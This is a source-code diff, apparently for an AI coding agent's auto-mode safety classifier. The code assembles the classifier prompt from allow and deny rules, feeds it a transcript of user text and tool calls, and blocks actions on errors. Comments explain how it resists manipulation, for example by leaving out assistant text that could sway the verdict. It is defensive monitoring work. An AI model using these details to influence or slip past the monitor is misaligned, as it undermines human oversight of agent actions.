+// `claude auto-mode defaults` even in ant builds. Ant builds use
+// permissions_anthropic.txt at runtime but should dump external defaults.
+const EXTERNAL_PERMISSIONS_TEMPLATE: string = feature('TRANSCRIPT_CLASSIFIER')
+  ? txtRequire(require('./yolo-classifier-prompts/permissions_external.txt'))
+  : ''
+
+const ANTHROPIC_PERMISSIONS_TEMPLATE: string =
+  feature('TRANSCRIPT_CLASSIFIER') && process.env.USER_TYPE === 'ant'
+    ? txtRequire(require('./yolo-classifier-prompts/permissions_anthropic.txt'))
+    : ''
+/* eslint-enable custom-rules/no-process-env-top-level, @typescript-eslint/no-require-imports */
+
+function isUsingExternalPermissions(): boolean {
+  if (process.env.USER_TYPE !== 'ant') return true
+  const config = getFeatureValue_CACHED_MAY_BE_STALE(
+    'tengu_auto_mode_config',
+    {} as AutoModeConfig,
+  )
+  return config?.forceExternalPermissions === true
+}
+
+/**
+ * Shape of the settings.autoMode config — the three classifier prompt
+ * sections a user can customize. Required-field variant (empty arrays when
+ * absent) for JSON output; settings.ts uses the optional-field variant.
+ */
+export type AutoModeRules = {
+  allow: string[]
+  soft_deny: string[]
+  environment: string[]
+}
+
+/**
+ * Parses the external permissions template into the settings.autoMode schema
+ * shape. The external template wraps each section's defaults in
+ * <user_*_to_replace> tags (user settings REPLACE these defaults), so the
+ * captured tag contents ARE the defaults. Bullet items are single-line in the
+ * template; each line starting with `- ` becomes one array entry.
+ * Used by `claude auto-mode defaults`. Always returns external defaults,
+ * never the Anthropic-internal template.
+ */
+export function getDefaultExternalAutoModeRules(): AutoModeRules {
+  return {
+    allow: extractTaggedBullets('user_allow_rules_to_replace'),
+    soft_deny: extractTaggedBullets('user_deny_rules_to_replace'),
+    environment: extractTaggedBullets('user_environment_to_replace'),
+  }
+}
+
+function extractTaggedBullets(tagName: string): string[] {
+  const match = EXTERNAL_PERMISSIONS_TEMPLATE.match(
+    new RegExp(`<${tagName}>([\\s\\S]*?)</${tagName}>`),
+  )
+  if (!match) return []
+  return (match[1] ?? '')
+    .split('\n')
+    .map(line => line.trim())
+    .filter(line => line.startsWith('- '))
+    .map(line => line.slice(2))
+}
+
+/**
+ * Returns the full external classifier system prompt with default rules (no user
+ * overrides). Used by `claude auto-mode critique` to show the model how the
+ * classifier sees its instructions.
+ */
+export function buildDefaultExternalSystemPrompt(): string {
+  return BASE_PROMPT.replace(
+    '<permissions_template>',
+    () => EXTERNAL_PERMISSIONS_TEMPLATE,
+  )
+    .replace(
+      /<user_allow_rules_to_replace>([\s\S]*?)<\/user_allow_rules_to_replace>/,
+      (_m, defaults: string) => defaults,
+    )
+    .replace(
+      /<user_deny_rules_to_replace>([\s\S]*?)<\/user_deny_rules_to_replace>/,
+      (_m, defaults: string) => defaults,
+    )
+    .replace(
+      /<user_environment_to_replace>([\s\S]*?)<\/user_environment_to_replace>/,
+      (_m, defaults: string) => defaults,
+    )
+}
+
+function getAutoModeDumpDir(): string {
+  return join(getClaudeTempDir(), 'auto-mode')
+}
+
+/**
+ * Dump the auto mode classifier request and response bodies to the per-user
+ * claude temp directory when CLAUDE_CODE_DUMP_AUTO_MODE is set. Files are
+ * named by unix timestamp: {timestamp}[.{suffix}].req.json and .res.json
+ */
+async function maybeDumpAutoMode(
+  request: unknown,
+  response: unknown,
+  timestamp: number,
+  suffix?: string,
+): Promise<void> {
+  if (process.env.USER_TYPE !== 'ant') return
+  if (!isEnvTruthy(process.env.CLAUDE_CODE_DUMP_AUTO_MODE)) return
+  const base = suffix ? `${timestamp}.${suffix}` : `${timestamp}`
+  try {
+    await mkdir(getAutoModeDumpDir(), { recursive: true })
+    await writeFile(
+      join(getAutoModeDumpDir(), `${base}.req.json`),
+      jsonStringify(request, null, 2),
+      'utf-8',
+    )
+    await writeFile(
+      join(getAutoModeDumpDir(), `${base}.res.json`),
+      jsonStringify(response, null, 2),
+      'utf-8',
+    )
+    logForDebugging(
+      `Dumped auto mode req/res to ${getAutoModeDumpDir()}/${base}.{req,res}.json`,
+    )
+  } catch {
+    // Ignore errors
+  }
+}
+
+/**
+ * Session-scoped dump file for auto mode classifier error prompts. Written on API
+ * error so users can share via /share without needing to repro with env var.
+ */
+export function getAutoModeClassifierErrorDumpPath(): string {
+  return join(
+    getClaudeTempDir(),
+    'auto-mode-classifier-errors',
+    `${getSessionId()}.txt`,
+  )
+}
+
+/**
+ * Snapshot of the most recent classifier API request(s), stringified lazily
+ * only when /share reads it. Array because the XML path may send two requests
+ * (stage1 + stage2). Stored in bootstrap/state.ts to avoid module-scope
+ * mutable state.
+ */
+export function getAutoModeClassifierTranscript(): string | null {
+  const requests = getLastClassifierRequests()
+  if (requests === null) return null
+  return jsonStringify(requests, null, 2)
+}
+
+/**
+ * Dump classifier input prompts + context-comparison diagnostics on API error.
+ * Written to a session-scoped file in the claude temp dir so /share can collect
+ * it (replaces the old Desktop dump). Includes context numbers to help diagnose
+ * projection divergence (classifier tokens >> main loop tokens).
+ * Returns the dump path on success, null on failure.
+ */
+async function dumpErrorPrompts(
+  systemPrompt: string,
+  userPrompt: string,
+  error: unknown,
+  contextInfo: {
+    mainLoopTokens: number
+    classifierChars: number
+    classifierTokensEst: number
+    transcriptEntries: number
+    messages: number
+    action: string
+    model: string
+  },
+): Promise<string | null> {
+  try {
+    const path = getAutoModeClassifierErrorDumpPath()
+    await mkdir(dirname(path), { recursive: true })
+    const content =
+      `=== ERROR ===\n${errorMessage(error)}\n\n` +
+      `=== CONTEXT COMPARISON ===\n` +
+      `timestamp: ${new Date().toISOString()}\n` +
+      `model: ${contextInfo.model}\n` +
+      `mainLoopTokens: ${contextInfo.mainLoopTokens}\n` +
+      `classifierChars: ${contextInfo.classifierChars}\n` +
+      `classifierTokensEst: ${contextInfo.classifierTokensEst}\n` +
+      `transcriptEntries: ${contextInfo.transcriptEntries}\n` +
+      `messages: ${contextInfo.messages}\n` +
+      `delta (classifierEst - mainLoop): ${contextInfo.classifierTokensEst - contextInfo.mainLoopTokens}\n\n` +
+      `=== ACTION BEING CLASSIFIED ===\n${contextInfo.action}\n\n` +
+      `=== SYSTEM PROMPT ===\n${systemPrompt}\n\n` +
+      `=== USER PROMPT (transcript) ===\n${userPrompt}\n`
+    await writeFile(path, content, 'utf-8')
+    logForDebugging(`Dumped auto mode classifier error prompts to ${path}`)
+    return path
+  } catch {
+    return null
+  }
+}
+
+const yoloClassifierResponseSchema = lazySchema(() =>
+  z.object({
+    thinking: z.string(),
+    shouldBlock: z.boolean(),
+    reason: z.string(),
+  }),
+)
+
+export const YOLO_CLASSIFIER_TOOL_NAME = 'classify_result'
+
+const YOLO_CLASSIFIER_TOOL_SCHEMA: BetaToolUnion = {
+  type: 'custom',
+  name: YOLO_CLASSIFIER_TOOL_NAME,
+  description: 'Report the security classification result for the agent action',
+  input_schema: {
+    type: 'object',
+    properties: {
+      thinking: {
+        type: 'string',
+        description: 'Brief step-by-step reasoning.',
+      },
+      shouldBlock: {
+        type: 'boolean',
+        description:
+          'Whether the action should be blocked (true) or allowed (false)',
+      },
+      reason: {
+        type: 'string',
+        description: 'Brief explanation of the classification decision',
+      },
+    },
+    required: ['thinking', 'shouldBlock', 'reason'],
+  },
+}
+
+type TranscriptBlock =
+  | { type: 'text'; text: string }
+  | { type: 'tool_use'; name: string; input: unknown }
+
+export type TranscriptEntry = {
+  role: 'user' | 'assistant'
+  content: TranscriptBlock[]
+}
+
+/**
+ * Build transcript entries from messages.
+ * Includes user text messages and assistant tool_use blocks (excluding assistant text).
+ * Queued user messages (attachment messages with queued_command type) are extracted
+ * and emitted as user turns.
+ */
+export function buildTranscriptEntries(messages: Message[]): TranscriptEntry[] {
+  const transcript: TranscriptEntry[] = []
+  for (const msg of messages) {
+    if (msg.type === 'attachment' && msg.attachment.type === 'queued_command') {
+      const prompt = msg.attachment.prompt
+      let text: string | null = null
+      if (typeof prompt === 'string') {
+        text = prompt
+      } else if (Array.isArray(prompt)) {
+        text =
+          prompt
+            .filter(
+              (block): block is { type: 'text'; text: string } =>
+                block.type === 'text',
+            )
+            .map(block => block.text)
+            .join('\n') || null
+      }
+      if (text !== null) {
+        transcript.push({
+          role: 'user',
+          content: [{ type: 'text', text }],
+        })
+      }
+    } else if (msg.type === 'user') {
+      const content = msg.message.content
+      const textBlocks: TranscriptBlock[] = []
+      if (typeof content === 'string') {
+        textBlocks.push({ type: 'text', text: content })
+      } else if (Array.isArray(content)) {
+        for (const block of content) {
+          if (block.type === 'text') {
+            textBlocks.push({ type: 'text', text: block.text })
+          }
+        }
+      }
+      if (textBlocks.length > 0) {
+        transcript.push({ role: 'user', content: textBlocks })
+      }
+    } else if (msg.type === 'assistant') {
+      const blocks: TranscriptBlock[] = []
+      for (const block of msg.message.content) {
+        // Only include tool_use blocks — assistant text is model-authored
+        // and could be crafted to influence the classifier's decision.
+        if (block.type === 'tool_use') {
+          blocks.push({
+            type: 'tool_use',
+            name: block.name,
+            input: block.input,
+          })
+        }
+      }
+      if (blocks.length > 0) {
+        transcript.push({ role: 'assistant', content: blocks })
+      }
+    }
+  }
+  return transcript
+}
+
+type ToolLookup = ReadonlyMap<string, Tool>
+
+function buildToolLookup(tools: Tools): ToolLookup {
+  const map = new Map<string, Tool>()
+  for (const tool of tools) {
+    map.set(tool.name, tool)
+    for (const alias of tool.aliases ?? []) {
+      map.set(alias, tool)
+    }
+  }
+  return map
+}
+
+/**
+ * Serialize a single transcript block as a JSONL dict line: `{"Bash":"ls"}`
+ * for tool calls, `{"user":"text"}` for user text. The tool value is the
+ * per-tool `toAutoClassifierInput` projection. JSON escaping means hostile
+ * content can't break out of its string context to forge a `{"user":...}`
+ * line — newlines become `\n` inside the value.
+ *
+ * Returns '' for tool_use blocks whose tool encodes to ''.
+ */
+function toCompactBlock(
+  block: TranscriptBlock,
+  role: TranscriptEntry['role'],
+  lookup: ToolLookup,
+): string {
+  if (block.type === 'tool_use') {
+    const tool = lookup.get(block.name)
+    if (!tool) return ''
+    const input = (block.input ?? {}) as Record<string, unknown>
+    // block.input is unvalidated model output from history — a tool_use rejected
+    // for bad params (e.g. array emitted as JSON string) still lands in the
+    // transcript and would crash toAutoClassifierInput when it assumes z.infer<Input>.
+    // On throw or undefined, fall back to the raw input object — it gets
+    // single-encoded in the jsonStringify wrap below (no double-encode).
+    let encoded: unknown
+    try {
+      encoded = tool.toAutoClassifierInput(input) ?? input
+    } catch (e) {
+      logForDebugging(
+        `toAutoClassifierInput failed for ${block.name}: ${errorMessage(e)}`,
+      )
+      logEvent('tengu_auto_mode_malformed_tool_input', {
+        toolName:
+          block.name as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      })
+      encoded = input
+    }
+    if (encoded === '') return ''
+    if (isJsonlTranscriptEnabled()) {
+      return jsonStringify({ [block.name]: encoded }) + '\n'
+    }
+    const s = typeof encoded === 'string' ? encoded : jsonStringify(encoded)
+    return `${block.name} ${s}\n`
+  }
+  if (block.type === 'text' && role === 'user') {
+    return isJsonlTranscriptEnabled()
+      ? jsonStringify({ user: block.text }) + '\n'
+      : `User: ${block.text}\n`
+  }
+  return ''
+}
+
+function toCompact(entry: TranscriptEntry, lookup: ToolLookup): string {
+  return entry.content.map(b => toCompactBlock(b, entry.role, lookup)).join('')
+}
+
+/**
+ * Build a compact transcript string including user messages and assistant tool_use blocks.
+ * Used by AgentTool for handoff classification.
+ */
+export function buildTranscriptForClassifier(
+  messages: Message[],
+  tools: Tools,
+): string {
+  const lookup = buildToolLookup(tools)
+  return buildTranscriptEntries(messages)
+    .map(e => toCompact(e, lookup))
+    .join('')
+}
+
+/**
+ * Build the CLAUDE.md prefix message for the classifier. Returns null when
+ * CLAUDE.md is disabled or empty. The content is wrapped in a delimiter that
+ * tells the classifier this is user-provided configuration — actions
+ * described here reflect user intent. cache_control is set because the
+ * content is static per-session, making the system + CLAUDE.md prefix a
+ * stable cache prefix across classifier calls.
+ *
+ * Reads from bootstrap/state.ts cache (populated by context.ts) instead of
+ * importing claudemd.ts directly — claudemd → permissions/filesystem →
+ * permissions → yoloClassifier is a cycle. context.ts already gates on
+ * CLAUDE_CODE_DISABLE_CLAUDE_MDS and normalizes '' to null before caching.
+ * If the cache is unpopulated (tests, or an entrypoint that never calls
+ * getUserContext), the classifier proceeds without CLAUDE.md — same as
+ * pre-PR behavior.
+ */
+function buildClaudeMdMessage(): Anthropic.MessageParam | null {
+  const claudeMd = getCachedClaudeMdContent()
+  if (claudeMd === null) return null
+  return {
+    role: 'user',
+    content: [
+      {
+        type: 'text',
+        text:
+          `The following is the user's CLAUDE.md configuration. These are ` +
+          `instructions the user provided to the agent and should be treated ` +
+          `as part of the user's intent when evaluating actions.\n\n` +
+          `<user_claude_md>\n${claudeMd}\n</user_claude_md>`,
+        cache_control: getCacheControl({ querySource: 'auto_mode' }),
+      },
+    ],
+  }
+}
+
+/**
+ * Build the system prompt for the auto mode classifier.
+ * Assembles the base prompt with the permissions template and substitutes
+ * user allow/deny/environment values from settings.autoMode.
+ */
+export async function buildYoloSystemPrompt(
+  context: ToolPermissionContext,
+): Promise<string> {
+  const usingExternal = isUsingExternalPermissions()
+  const systemPrompt = BASE_PROMPT.replace('<permissions_template>', () =>
+    usingExternal
+      ? EXTERNAL_PERMISSIONS_TEMPLATE
+      : ANTHROPIC_PERMISSIONS_TEMPLATE,
+  )
+
+  const autoMode = getAutoModeConfig()
+  const includeBashPromptRules = feature('BASH_CLASSIFIER')
+    ? !usingExternal
+    : false
+  const includePowerShellGuidance = feature('POWERSHELL_AUTO_MODE')
+    ? !usingExternal
+    : false
+  const allowDescriptions = [
+    ...(includeBashPromptRules ? getBashPromptAllowDescriptions(context) : []),
+    ...(autoMode?.allow ?? []),
+  ]
+  const denyDescriptions = [
+    ...(includeBashPromptRules ? getBashPromptDenyDescriptions(context) : []),
+    ...(includePowerShellGuidance ? POWERSHELL_DENY_GUIDANCE : []),
+    ...(autoMode?.soft_deny ?? []),
+  ]
+
+  // All three sections use the same <foo_to_replace>...</foo_to_replace>
+  // delimiter pattern. The external template wraps its defaults inside the
+  // tags, so user-provided values REPLACE the defaults entirely. The
+  // anthropic template keeps its defaults outside the tags and uses an empty
+  // tag pair at the end of each section, so user-provided values are
+  // strictly ADDITIVE.
+  const userAllow = allowDescriptions.length
+    ? allowDescriptions.map(d => `- ${d}`).join('\n')
+    : undefined
+  const userDeny = denyDescriptions.length
+    ? denyDescriptions.map(d => `- ${d}`).join('\n')
+    : undefined
+  const userEnvironment = autoMode?.environment?.length
+    ? autoMode.environment.map(e => `- ${e}`).join('\n')
+    : undefined
+
+  return systemPrompt
+    .replace(
+      /<user_allow_rules_to_replace>([\s\S]*?)<\/user_allow_rules_to_replace>/,
+      (_m, defaults: string) => userAllow ?? defaults,
+    )
+    .replace(
+      /<user_deny_rules_to_replace>([\s\S]*?)<\/user_deny_rules_to_replace>/,
+      (_m, defaults: string) => userDeny ?? defaults,
+    )
+    .replace(
+      /<user_environment_to_replace>([\s\S]*?)<\/user_environment_to_replace>/,
+      (_m, defaults: string) => userEnvironment ?? defaults,
+    )
+}
+// ============================================================================
+// 2-Stage XML Classifier
+// ============================================================================
+
+/**
+ * Stage 1 suffix (xml_s1_h2): appended after the transcript to nudge
+ * immediate decision. Matches XML_S1_SUFFIXES["h2"] in
+ * sandbox/johnh/control/bpc_classifier/classifier.py.
+ */
+const XML_S1_SUFFIX = '\nErr on the side of blocking. <block> immediately.'
+/**
+ * Stage 2 suffix (xml_s2_t2): appended after the transcript to elicit
+ * reasoning. Matches XML_S2_SUFFIXES["t2"] in
+ * sandbox/johnh/control/bpc_classifier/classifier.py — the default S2 mode
+ * in sandbox/alexg/evals/{cc_report_bpc_eval,tool_denial_bpc_eval}.py.
+ *
+ * vs "t" variant: adds explicit reminder to follow classification process
+ * and that user confirmation must be explicit (not suggestive/implicit).
+ */
+const XML_S2_SUFFIX =
+  '\nReview the classification process and follow it carefully, making sure you deny actions that should be blocked. As a reminder, explicit (not suggestive or implicit) user confirmation is required to override blocks. Use <thinking> before responding with <block>.'
+
+/**
+ * Strip thinking content so that <block>/<reason> tags inside
+ * the model's chain-of-thought don't get matched by parsers.
+ */
+function stripThinking(text: string): string {
+  return text
+    .replace(/<thinking>[\s\S]*?<\/thinking>/g, '')
+    .replace(/<thinking>[\s\S]*$/, '')
+}
+
+/**
+ * Parse XML block response: <block>yes/no</block>
+ * Strips thinking content first to avoid matching tags inside reasoning.
+ * Returns true for "yes" (should block), false for "no", null if unparseable.
+ */
+function parseXmlBlock(text: string): boolean | null {
+  const matches = [
+    ...stripThinking(text).matchAll(/<block>(yes|no)\b(<\/block>)?/gi),
+  ]
+  if (matches.length === 0) return null
+  return matches[0]![1]!.toLowerCase() === 'yes'
+}
+
+/**
+ * Parse XML reason: <reason>...</reason>
+ * Strips thinking content first to avoid matching tags inside reasoning.
+ */
+function parseXmlReason(text: string): string | null {
+  const matches = [
+    ...stripThinking(text).matchAll(/<reason>([\s\S]*?)<\/reason>/g),
+  ]
+  if (matches.length === 0) return null
+  return matches[0]![1]!.trim()
+}
+
+/**
+ * Parse XML thinking content: <thinking>...</thinking>
+ */
+function parseXmlThinking(text: string): string | null {
+  const match = /<thinking>([\s\S]*?)<\/thinking>/.exec(text)
+  return match ? match[1]!.trim() : null
+}
+
+/**
+ * Extract usage stats from an API response.
+ */
+function extractUsage(
+  result: Anthropic.Beta.Messages.BetaMessage,
+): ClassifierUsage {
+  return {
+    inputTokens: result.usage.input_tokens,
+    outputTokens: result.usage.output_tokens,
+    cacheReadInputTokens: result.usage.cache_read_input_tokens ?? 0,
+    cacheCreationInputTokens: result.usage.cache_creation_input_tokens ?? 0,
+  }
+}
+
+/**
+ * Extract the API request_id (req_xxx) that the SDK attaches as a
+ * non-enumerable `_request_id` property on response objects.
+ */
+function extractRequestId(
+  result: Anthropic.Beta.Messages.BetaMessage,
+): string | undefined {
+  return (result as { _request_id?: string | null })._request_id ?? undefined
+}
+
+/**
+ * Combine usage from two classifier stages into a single total.
+ */
+function combineUsage(a: ClassifierUsage, b: ClassifierUsage): ClassifierUsage {
+  return {
+    inputTokens: a.inputTokens + b.inputTokens,
+    outputTokens: a.outputTokens + b.outputTokens,
+    cacheReadInputTokens: a.cacheReadInputTokens + b.cacheReadInputTokens,
+    cacheCreationInputTokens:
+      a.cacheCreationInputTokens + b.cacheCreationInputTokens,
+  }
+}
+
+/**
+ * Replace the tool_use output format instruction with XML format.
+ * Finds the last line of the prompt ("Use the classify_result tool...")
+ * and replaces it with XML output instructions.
+ */
+function replaceOutputFormatWithXml(systemPrompt: string): string {
+  const toolUseLine =
+    'Use the classify_result tool to report your classification.'
+  const xmlFormat = [
+    '## Output Format',
+    '',
+    'If the action should be blocked:',
+    '<block>yes</block><reason>one short sentence</reason>',
+    '',
+    'If the action should be allowed:',
+    '<block>no</block>',
+    '',
+    'Do NOT include a <reason> tag when the action is allowed.',
+    'Your ENTIRE response MUST begin with <block>. Do NOT output any analysis, reasoning, or commentary before <block>. No "Looking at..." or similar preamble.',
+  ].join('\n')
+  return systemPrompt.replace(toolUseLine, xmlFormat)
+}
+
+/**
+ * Thinking config for classifier calls. The classifier wants short text-only
+ * responses — API thinking blocks are ignored by extractTextContent() and waste tokens.
+ *
+ * For most models: send { type: 'disabled' } via sideQuery's `thinking: false`.
+ *
+ * Models with alwaysOnThinking (declared in tengu_ant_model_override) default
+ * to adaptive thinking server-side and reject `disabled` with a 400. For those:
+ * don't pass `thinking: false`, instead pad max_tokens so adaptive thinking
+ * (observed 0–1114 tokens replaying go/ccshare/shawnm-20260310-202833) doesn't
+ * exhaust the budget before <block> is emitted. Without headroom,
+ * stop_reason=max_tokens yields an empty text response → parseXmlBlock('')
+ * → null → "unparseable" → safe commands blocked.
+ *
+ * Returns [disableThinking, headroom] — tuple instead of named object so
+ * property-name strings don't survive minification into external builds.
+ */
+function getClassifierThinkingConfig(
+  model: string,
+): [false | undefined, number] {
+  if (
+    process.env.USER_TYPE === 'ant' &&
+    resolveAntModel(model)?.alwaysOnThinking
+  ) {
+    return [undefined, 2048]
+  }
+  return [false, 0]
+}
+
+/**
+ * XML classifier for auto mode security decisions. Supports three modes:
+ *
+ * 'both' (default): Stage 1 ("fast") runs first with max_tokens=64 and
+ * stop_sequences for an immediate yes/no. If allowed, returns. If blocked,
+ * escalates to stage 2 ("thinking") with chain-of-thought to reduce false
+ * positives.
+ *
+ * 'fast': Stage 1 only. Bumps max_tokens to 256 and drops stop_sequences so
+ * the response can include <reason>. Stage 1 verdict is final.
+ *
+ * 'thinking': Stage 2 only. Skips stage 1 entirely.
+ *
+ * Both stages share the same system prompt and user content, benefiting from
+ * prompt caching (1h TTL) across calls.
+ */
+async function classifyYoloActionXml(
+  prefixMessages: Anthropic.MessageParam[],
+  systemPrompt: string,
+  userPrompt: string,
+  userContentBlocks: Array<
+    Anthropic.TextBlockParam | Anthropic.ImageBlockParam
+  >,
+  model: string,
+  promptLengths: {
+    systemPrompt: number
+    toolCalls: number
+    userPrompts: number
+  },
+  signal: AbortSignal,
+  dumpContextInfo: {
+    mainLoopTokens: number
+    classifierChars: number
+    classifierTokensEst: number
+    transcriptEntries: number
+    messages: number
+    action: string
+  },
+  mode: TwoStageMode,
+): Promise<YoloClassifierResult> {
+  const classifierType =
+    mode === 'both'
+      ? 'xml_2stage'
+      : mode === 'fast'
+        ? 'xml_fast'
+        : 'xml_thinking'
+  const xmlSystemPrompt = replaceOutputFormatWithXml(systemPrompt)
+  const systemBlocks: Anthropic.TextBlockParam[] = [
+    {
+      type: 'text' as const,
+      text: xmlSystemPrompt,
+      cache_control: getCacheControl({ querySource: 'auto_mode' }),
+    },
+  ]
+  let stage1Usage: ClassifierUsage | undefined
+  let stage1DurationMs: number | undefined
+  let stage1RequestId: string | undefined
+  let stage1MsgId: string | undefined
+  let stage1Opts: Parameters<typeof sideQuery>[0] | undefined
+  const overallStart = Date.now()
+  const [disableThinking, thinkingPadding] = getClassifierThinkingConfig(model)
+
+  // Wrap transcript entries in <transcript> tags for the XML classifier.
+  // Wrap all content (transcript + action) in <transcript> tags.
+  // The action is the final tool_use block in the transcript.
+  const wrappedContent: Array<
+    Anthropic.TextBlockParam | Anthropic.ImageBlockParam
+  > = [
+    { type: 'text' as const, text: '<transcript>\n' },
+    ...userContentBlocks,
+    { type: 'text' as const, text: '</transcript>\n' },
+  ]
+
+  try {
+    // Stage 1: fast (suffix nudges immediate <block> decision)
+    // Skipped entirely when mode === 'thinking'.
+    if (mode !== 'thinking') {
+      const stage1Start = Date.now()
+      const stage1Content = [
+        ...wrappedContent,
+        { type: 'text' as const, text: XML_S1_SUFFIX },
+      ]
+      // In fast-only mode, relax max_tokens and drop stop_sequences so the
+      // response can carry a <reason> tag (system prompt already asks for it).
+      stage1Opts = {
+        model,
+        max_tokens: (mode === 'fast' ? 256 : 64) + thinkingPadding,
+        system: systemBlocks,
+        skipSystemPromptPrefix: true,
+        temperature: 0,
+        thinking: disableThinking,
+        messages: [
+          ...prefixMessages,
+          { role: 'user' as const, content: stage1Content },
+        ],
+        maxRetries: getDefaultMaxRetries(),
+        signal,
+        ...(mode !== 'fast' && { stop_sequences: ['</block>'] }),
+        querySource: 'auto_mode',
+      }
+      const stage1Raw = await sideQuery(stage1Opts)
+      stage1DurationMs = Date.now() - stage1Start
+      stage1Usage = extractUsage(stage1Raw)
+      stage1RequestId = extractRequestId(stage1Raw)
+      stage1MsgId = stage1Raw.id
+      const stage1Text = extractTextContent(stage1Raw.content)
+      const stage1Block = parseXmlBlock(stage1Text)
+
+      void maybeDumpAutoMode(stage1Opts, stage1Raw, stage1Start, 'stage1')
+      setLastClassifierRequests([stage1Opts])
+
+      // If stage 1 says allow, return immediately (fast path)
+      if (stage1Block === false) {
+        logAutoModeOutcome('success', model, {
+          classifierType,
+          durationMs: stage1DurationMs,
+        })
+        return {
+          shouldBlock: false,
+          reason: 'Allowed by fast classifier',
+          model,
+          usage: stage1Usage,
+          durationMs: stage1DurationMs,
+          promptLengths,
+          stage: 'fast',
+          stage1RequestId,
+          stage1MsgId,
+        }
+      }
+
+      // In fast-only mode, stage 1 is final — handle block + unparseable here.
+      if (mode === 'fast') {
+        if (stage1Block === null) {
+          logAutoModeOutcome('parse_failure', model, { classifierType })
+          return {
+            shouldBlock: true,
+            reason: 'Classifier stage 1 unparseable - blocking for safety',
+            model,
+            usage: stage1Usage,
+            durationMs: stage1DurationMs,
+            promptLengths,
+            stage: 'fast',
+            stage1RequestId,
+            stage1MsgId,
+          }
+        }
+        // stage1Block === true
+        logAutoModeOutcome('success', model, {
+          classifierType,
+          durationMs: stage1DurationMs,
+        })
+        return {
+          shouldBlock: true,
+          reason: parseXmlReason(stage1Text) ?? 'Blocked by fast classifier',
+          model,
+          usage: stage1Usage,
+          durationMs: stage1DurationMs,
+          promptLengths,
+          stage: 'fast',
+          stage1RequestId,
+          stage1MsgId,
+        }
+      }
+    }
+
+    // Stage 2: thinking (suffix asks for chain-of-thought)
+    const stage2Start = Date.now()
+    const stage2Content = [
+      ...wrappedContent,
+      { type: 'text' as const, text: XML_S2_SUFFIX },
+    ]
+    const stage2Opts = {
+      model,
+      max_tokens: 4096 + thinkingPadding,
+      system: systemBlocks,
+      skipSystemPromptPrefix: true,
+      temperature: 0,
+      thinking: disableThinking,
+      messages: [
+        ...prefixMessages,
+        { role: 'user' as const, content: stage2Content },
+      ],
+      maxRetries: getDefaultMaxRetries(),
+      signal,
+      querySource: 'auto_mode' as const,
+    }
+    const stage2Raw = await sideQuery(stage2Opts)
+    const stage2DurationMs = Date.now() - stage2Start
+    const stage2Usage = extractUsage(stage2Raw)
+    const stage2RequestId = extractRequestId(stage2Raw)
+    const stage2MsgId = stage2Raw.id
+    const stage2Text = extractTextContent(stage2Raw.content)
+    const stage2Block = parseXmlBlock(stage2Text)
+    const totalDurationMs = (stage1DurationMs ?? 0) + stage2DurationMs
+    const totalUsage = stage1Usage
+      ? combineUsage(stage1Usage, stage2Usage)
+      : stage2Usage
+
+    void maybeDumpAutoMode(stage2Opts, stage2Raw, stage2Start, 'stage2')
+    setLastClassifierRequests(
+      stage1Opts ? [stage1Opts, stage2Opts] : [stage2Opts],
+    )
+
+    if (stage2Block === null) {
+      logAutoModeOutcome('parse_failure', model, { classifierType })
+      return {
+        shouldBlock: true,
+        reason: 'Classifier stage 2 unparseable - blocking for safety',
+        model,
+        usage: totalUsage,
+        durationMs: totalDurationMs,
+        promptLengths,
+        stage: 'thinking',
+        stage1Usage,
+        stage1DurationMs,
+        stage1RequestId,
+        stage1MsgId,
+        stage2Usage,
+        stage2DurationMs,
+        stage2RequestId,
+        stage2MsgId,
+      }
+    }
+
+    logAutoModeOutcome('success', model, {
+      classifierType,
+      durationMs: totalDurationMs,
+    })
+    return {
+      thinking: parseXmlThinking(stage2Text) ?? undefined,
+      shouldBlock: stage2Block,
+      reason: parseXmlReason(stage2Text) ?? 'No reason provided',
+      model,
+      usage: totalUsage,
+      durationMs: totalDurationMs,
+      promptLengths,
+      stage: 'thinking',
+      stage1Usage,
+      stage1DurationMs,
+      stage1RequestId,
+      stage1MsgId,
+      stage2Usage,
+      stage2DurationMs,
+      stage2RequestId,
+      stage2MsgId,
+    }
+  } catch (error) {
+    if (signal.aborted) {
+      logForDebugging('Auto mode classifier (XML): aborted by user')
+      logAutoModeOutcome('interrupted', model, { classifierType })
+      return {
+        shouldBlock: true,
+        reason: 'Classifier request aborted',
+        model,
+        unavailable: true,
+        durationMs: Date.now() - overallStart,
+        promptLengths,
+      }
+    }
+    const tooLong = detectPromptTooLong(error)
+    logForDebugging(
+      `Auto mode classifier (XML) error: ${errorMessage(error)}`,
+      {
+        level: 'warn',
+      },
+    )
+    const errorDumpPath =
+      (await dumpErrorPrompts(xmlSystemPrompt, userPrompt, error, {
+        ...dumpContextInfo,
+        model,
+      })) ?? undefined
+    logAutoModeOutcome(tooLong ? 'transcript_too_long' : 'error', model, {
+      classifierType,
+      ...(tooLong && {
+        transcriptActualTokens: tooLong.actualTokens,
+        transcriptLimitTokens: tooLong.limitTokens,
+      }),
+    })
+    return {
+      shouldBlock: true,
+      reason: tooLong
+        ? 'Classifier transcript exceeded context window'
+        : stage1Usage
+          ? 'Stage 2 classifier error - blocking based on stage 1 assessment'
+          : 'Classifier unavailable - blocking for safety',
+      model,
+      unavailable: stage1Usage === undefined,
+      transcriptTooLong: Boolean(tooLong),
+      stage: stage1Usage ? 'thinking' : undefined,
+      durationMs: Date.now() - overallStart,
+      errorDumpPath,
+      ...(stage1Usage && {
+        usage: stage1Usage,
+        stage1Usage,
+        stage1DurationMs,
+        stage1RequestId,
+        stage1MsgId,
+      }),
+      promptLengths,
+    }
+  }
+}
+
+/**
+ * Use Opus to classify whether an agent action should be allowed or blocked.
+ * Returns a YoloClassifierResult indicating the decision.
+ *
+ * On API errors, returns shouldBlock: true with unavailable: true so callers
+ * can distinguish "classifier actively blocked" from "classifier couldn't respond".
+ * Transient errors (429, 500) are retried by sideQuery internally (see getDefaultMaxRetries).
+ *
+ * @param messages - The conversation history
+ * @param action - The action being evaluated (tool name + input)
+ * @param tools - Tool registry for encoding tool inputs via toAutoClassifierInput
+ * @param context - Tool permission context for extracting Bash(prompt:) rules
+ * @param signal - Abort signal
+ */
+export async function classifyYoloAction(
+  messages: Message[],
+  action: TranscriptEntry,
+  tools: Tools,
+  context: ToolPermissionContext,
+  signal: AbortSignal,
+): Promise<YoloClassifierResult> {
+  const lookup = buildToolLookup(tools)
+  const actionCompact = toCompact(action, lookup)
+  // '' = "no security relevance" (Tool.toAutoClassifierInput contract). Without
+  // this guard the empty action block + cache_control below hits an API 400.
+  if (actionCompact === '') {
+    return {
+      shouldBlock: false,
